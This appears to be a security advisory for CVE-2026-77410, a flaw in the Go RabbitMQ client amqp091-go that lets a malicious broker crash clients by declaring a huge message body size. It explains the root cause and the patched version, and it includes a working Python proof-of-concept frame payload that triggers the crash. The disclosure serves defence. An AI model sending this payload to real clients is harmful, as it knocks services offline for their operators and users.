highCVE-2026-77410Sep 17, 2026

CVE-2026-77410: amqp091-go Resource Exhaustion via Unbounded Body Buffer Allocation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious RabbitMQ broker can crash any connected Go client by declaring a huge message body size, forcing the client to try to allocate exabytes of memory instantly.

Packagegithub.com/rabbitmq/amqp091-go
Ecosystemgo
Affected< 1.13.0
Fixed in1.13.0

The problem

The Channel.recvContent function in channel.go pre-allocates a byte slice for the incoming message body using ch.header.Size, a raw uint64 from the AMQP content header frame, with no upper bound.

Because no cap against the negotiated FrameMax is applied, any broker (malicious, compromised, or a rogue MITM) can send a content-header declaring a body of up to 2^64 - 1 bytes. The Go runtime immediately tries to satisfy the make([]byte, 0, ch.header.Size) call, exhausts system memory, and the OS OOM killer terminates the client process.

No special authentication or privileges are needed beyond a normal broker connection.

Proof of concept

A working proof-of-concept for CVE-2026-77410 in github.com/rabbitmq/amqp091-go, with the exact payload below.

python
# Attacker controls a rogue AMQP 0-9-1 broker (or MITM).
# After the client opens a channel and starts consuming, the broker sends
# a content-header frame on that channel with body-size = 0x4000000000000000 (2^62, ~4 exabytes).
# Immediately followed by a valid frame-end byte to keep the frame well-formed.
#
# AMQP 0-9-1 Content-Header frame layout:
#   Offset  Len  Field
#   0       1    Frame type  = 0x02 (content-header)
#   1       2    Channel     = 0x00 0x01
#   3       4    Payload len = 0x00 0x00 0x00 0x0e (14 bytes)
#   7       2    Class id    = 0x00 0x3c (basic, 60)
#   9       2    Weight      = 0x00 0x00
#   11      8    Body size   = 0x40 0x00 0x00 0x00 0x00 0x00 0x00 0x00  (2^62 bytes)
#   19      2    Prop flags  = 0x00 0x00  (no properties)
#   21      1    Frame end   = 0xce

malicious_content_header = bytes([
    0x02,                          # frame type: content-header
    0x00, 0x01,                    # channel 1
    0x00, 0x00, 0x00, 0x0e,        # payload length: 14
    0x00, 0x3c,                    # class-id: basic (60)
    0x00, 0x00,                    # weight: 0
    0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,        # body-size: 2^62 (~4 exabytes)
    0x00, 0x00,                    # property flags: none
    0xce                           # frame-end
])
sock.sendall(malicious_content_header)
# Client immediately OOMs: make([]byte, 0, 0x4000000000000000) panics / triggers OOM killer.

The root cause (CWE-789) is a single make call in recvContent at channel.go:496: ch.body = make([]byte, 0, ch.header.Size). The Size field is decoded directly from the wire as a uint64 with no validation against ch.connection.Config.FrameSize.

PR #346 (commit 91b65fa) fixes this by capping the capacity argument to the negotiated FrameMax before calling make, so the pre-allocation is bounded to at most FrameSize bytes regardless of what the broker declares. The attack works across any normal consumer flow because the content-header frame arrives before any body data, making the oversized allocation happen instantly on receipt.

The fix

Upgrade github.com/rabbitmq/amqp091-go to v1.13.0 or later. The patch in PR #346 (commit 91b65fa) caps the body pre-allocation capacity to min(ch.header.Size, uint64(ch.connection.Config.FrameSize)), bounding memory use to the agreed-upon frame size. No configuration change is required; just update the module.

Reported by MirahImage.

References: [1][2][3][4][5][6]

Related research